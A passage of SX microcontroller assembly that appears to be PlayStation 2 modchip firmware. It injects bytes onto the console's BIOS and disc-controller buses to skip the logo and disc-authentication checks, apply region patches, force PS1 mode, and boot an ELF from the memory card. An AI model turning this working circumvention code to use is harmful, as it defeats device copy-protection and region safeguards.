mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V0_FLAG ;; ; jmp V1toV8_CONSOLE_CDDVD_START snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov 